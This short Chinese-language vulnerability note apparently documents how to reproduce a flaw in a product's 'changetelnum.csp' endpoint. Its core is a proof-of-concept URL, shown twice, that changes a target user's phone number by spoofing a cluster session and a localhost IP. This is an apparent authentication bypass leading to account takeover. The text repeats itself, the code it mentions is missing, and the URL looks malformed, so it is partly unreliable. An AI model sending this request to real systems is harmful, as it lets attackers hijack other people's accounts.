目录
复现过程 #
老版本(M7.6.1)代码放上,看不懂的直接看 POC 吧;新版本的没绕成功还在审,所以不确定是不是这个



POC
https://www.0-sec.org/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
老版本(M7.6.1)代码放上,看不懂的直接看 POC 吧;新版本的没绕成功还在审,所以不确定是不是这个
POC
https://www.0-sec.org/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1